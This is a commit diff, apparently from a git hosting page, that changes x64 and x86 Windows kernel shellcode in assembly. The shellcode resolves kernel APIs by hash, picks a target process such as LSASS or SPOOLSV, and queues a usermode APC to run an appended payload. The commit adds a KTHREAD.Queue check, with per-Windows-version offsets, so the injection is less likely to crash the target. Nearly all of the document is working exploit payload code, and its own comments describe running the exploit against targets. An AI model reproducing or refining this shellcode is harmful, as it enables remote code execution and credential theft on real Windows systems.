check KTHREAD.Queue before inserting APC
This commit is contained in:
@@ -14,7 +14,6 @@
|
|||||||
; - The shellcode do not allocate shadow stack if possible for minimal shellcode size.
|
; - The shellcode do not allocate shadow stack if possible for minimal shellcode size.
|
||||||
; It is ok because some Windows function does not require shadow stack.
|
; It is ok because some Windows function does not require shadow stack.
|
||||||
; - Compiling shellcode with specific Windows version macro, corrupted buffer will be freed.
|
; - Compiling shellcode with specific Windows version macro, corrupted buffer will be freed.
|
||||||
; This helps running exploit against same target repeatly more reliable.
|
|
||||||
; - The userland payload MUST be appened to this shellcode.
|
; - The userland payload MUST be appened to this shellcode.
|
||||||
;
|
;
|
||||||
; Reference:
|
; Reference:
|
||||||
@@ -31,6 +30,7 @@ PSGETPROCESSIMAGEFILENAME_HASH EQU 0x77645f3f
|
|||||||
LSASS_EXE_HASH EQU 0xc1fa6a5a
|
LSASS_EXE_HASH EQU 0xc1fa6a5a
|
||||||
SPOOLSV_EXE_HASH EQU 0x3ee083d8
|
SPOOLSV_EXE_HASH EQU 0x3ee083d8
|
||||||
ZWALLOCATEVIRTUALMEMORY_HASH EQU 0x576e99ea
|
ZWALLOCATEVIRTUALMEMORY_HASH EQU 0x576e99ea
|
||||||
|
PSGETTHREADTEB_HASH EQU 0xcef84c3e
|
||||||
KEINITIALIZEAPC_HASH EQU 0x6d195cc4
|
KEINITIALIZEAPC_HASH EQU 0x6d195cc4
|
||||||
KEINSERTQUEUEAPC_HASH EQU 0xafcc4634
|
KEINSERTQUEUEAPC_HASH EQU 0xafcc4634
|
||||||
PSGETPROCESSPEB_HASH EQU 0xb818b848
|
PSGETPROCESSPEB_HASH EQU 0xb818b848
|
||||||
@@ -329,14 +329,27 @@ found_target_process:
|
|||||||
; try queueing APC then check KAPC member is more reliable.
|
; try queueing APC then check KAPC member is more reliable.
|
||||||
|
|
||||||
_insert_queue_apc_loop:
|
_insert_queue_apc_loop:
|
||||||
; TODO: do not try to queue APC if TEB.ActivationContextStackPointer is NULL
|
|
||||||
; if TEB.ActivationContextStackPointer is NULL, system will be reboot after inserting APC to queue
|
|
||||||
; move backward because non-alertable and NULL TEB.ActivationContextStackPointer threads always be at front
|
; move backward because non-alertable and NULL TEB.ActivationContextStackPointer threads always be at front
|
||||||
mov rbx, [rbx+8]
|
mov rbx, [rbx+8]
|
||||||
%ifndef COMPACT
|
%ifndef COMPACT
|
||||||
cmp rsi, rbx
|
cmp rsi, rbx
|
||||||
je _insert_queue_apc_loop ; skip list head
|
je _insert_queue_apc_loop ; skip list head
|
||||||
%endif
|
%endif
|
||||||
|
|
||||||
|
; find start of ETHREAD address
|
||||||
|
; set it to rdx to be used for KeInitializeApc() argument too
|
||||||
|
lea rdx, [rbx + r14] ; ETHREAD
|
||||||
|
|
||||||
|
; userland shellcode (at least CreateThread() function) need non NULL TEB.ActivationContextStackPointer.
|
||||||
|
; the injected process will be crashed because of access violation if TEB.ActivationContextStackPointer is NULL.
|
||||||
|
; Note: APC routine does not require non-NULL TEB.ActivationContextStackPointer.
|
||||||
|
; from my observation, KTRHEAD.Queue is always NULL when TEB.ActivationContextStackPointer is NULL.
|
||||||
|
; Teb member is next to Queue member.
|
||||||
|
mov edi, PSGETTHREADTEB_HASH
|
||||||
|
call get_proc_addr
|
||||||
|
mov eax, dword [rax+3] ; get offset from code (offset of Teb is always > 0x7f)
|
||||||
|
cmp qword [rdx+rax-8], 0 ; KTHREAD.Queue MUST not be NULL
|
||||||
|
je _insert_queue_apc_loop
|
||||||
|
|
||||||
; KeInitializeApc(PKAPC,
|
; KeInitializeApc(PKAPC,
|
||||||
; PKTHREAD,
|
; PKTHREAD,
|
||||||
@@ -353,7 +366,6 @@ _insert_queue_apc_loop:
|
|||||||
push 1 ; UserMode
|
push 1 ; UserMode
|
||||||
push rbp ; userland shellcode (MUST NOT be NULL)
|
push rbp ; userland shellcode (MUST NOT be NULL)
|
||||||
push r8 ; NULL
|
push r8 ; NULL
|
||||||
lea rdx, [rbx + r14] ; ETHREAD
|
|
||||||
sub rsp, 0x20 ; shadow stack
|
sub rsp, 0x20 ; shadow stack
|
||||||
mov edi, KEINITIALIZEAPC_HASH
|
mov edi, KEINITIALIZEAPC_HASH
|
||||||
call win_api_direct
|
call win_api_direct
|
||||||
|
|||||||
@@ -29,6 +29,7 @@ PSGETPROCESSIMAGEFILENAME_HASH EQU 0x77645f3f
|
|||||||
LSASS_EXE_HASH EQU 0xc1fa6a5a
|
LSASS_EXE_HASH EQU 0xc1fa6a5a
|
||||||
SPOOLSV_EXE_HASH EQU 0x3ee083d8
|
SPOOLSV_EXE_HASH EQU 0x3ee083d8
|
||||||
ZWALLOCATEVIRTUALMEMORY_HASH EQU 0x576e99ea
|
ZWALLOCATEVIRTUALMEMORY_HASH EQU 0x576e99ea
|
||||||
|
PSGETTHREADTEB_HASH EQU 0xcef84c3e
|
||||||
KEINITIALIZEAPC_HASH EQU 0x6d195cc4
|
KEINITIALIZEAPC_HASH EQU 0x6d195cc4
|
||||||
KEINSERTQUEUEAPC_HASH EQU 0xafcc4634
|
KEINSERTQUEUEAPC_HASH EQU 0xafcc4634
|
||||||
PSGETPROCESSPEB_HASH EQU 0xb818b848
|
PSGETPROCESSPEB_HASH EQU 0xb818b848
|
||||||
@@ -288,12 +289,34 @@ found_target_process:
|
|||||||
; try queueing APC then check KAPC member is more reliable.
|
; try queueing APC then check KAPC member is more reliable.
|
||||||
|
|
||||||
_insert_queue_apc_loop:
|
_insert_queue_apc_loop:
|
||||||
; TODO: do not try to queue APC if TEB.ActivationContextStackPointer is NULL
|
|
||||||
; if TEB.ActivationContextStackPointer is NULL, system will be reboot after inserting APC to queue
|
|
||||||
; move backward because non-alertable and NULL TEB.ActivationContextStackPointer threads always be at front
|
; move backward because non-alertable and NULL TEB.ActivationContextStackPointer threads always be at front
|
||||||
mov ebx, [ebx+4]
|
mov ebx, [ebx+4]
|
||||||
; no check list head
|
; no check list head
|
||||||
|
|
||||||
|
; userland shellcode (at least CreateThread() function) need non NULL TEB.ActivationContextStackPointer.
|
||||||
|
; the injected process will be crashed because of access violation if TEB.ActivationContextStackPointer is NULL.
|
||||||
|
; Note: APC routine does not require non-NULL TEB.ActivationContextStackPointer.
|
||||||
|
; from my observation, KTRHEAD.Queue is always NULL when TEB.ActivationContextStackPointer is NULL.
|
||||||
|
; Teb member is next to Queue member.
|
||||||
|
mov eax, PSGETTHREADTEB_HASH
|
||||||
|
call get_proc_addr
|
||||||
|
mov eax, dword [eax+0xa] ; get offset from code (offset of Teb is always > 0x7f)
|
||||||
|
%ifdef WIN7
|
||||||
|
sub eax, edi
|
||||||
|
cmp dword [ebx+eax-12], 0 ; KTHREAD.Queue MUST not be NULL
|
||||||
|
%elifdef WIN8
|
||||||
|
sub eax, edi
|
||||||
|
cmp dword [ebx+eax-4], 0 ; KTHREAD.Queue MUST not be NULL
|
||||||
|
%else
|
||||||
|
cmp al, 0xa0 ; win8+ offset is 0xa8
|
||||||
|
ja _kthread_queue_check
|
||||||
|
sub al, 8 ; late 5.2 to 6.1, displacement is 0xc
|
||||||
|
_kthread_queue_check:
|
||||||
|
sub eax, edi
|
||||||
|
cmp dword [ebx+eax-4], 0 ; KTHREAD.Queue MUST not be NULL
|
||||||
|
%endif
|
||||||
|
je _insert_queue_apc_loop
|
||||||
|
|
||||||
; KeInitializeApc(PKAPC,
|
; KeInitializeApc(PKAPC,
|
||||||
; PKTHREAD,
|
; PKTHREAD,
|
||||||
; KAPC_ENVIRONMENT = OriginalApcEnvironment (0),
|
; KAPC_ENVIRONMENT = OriginalApcEnvironment (0),
|
||||||
|
|||||||
Reference in New Issue
Block a user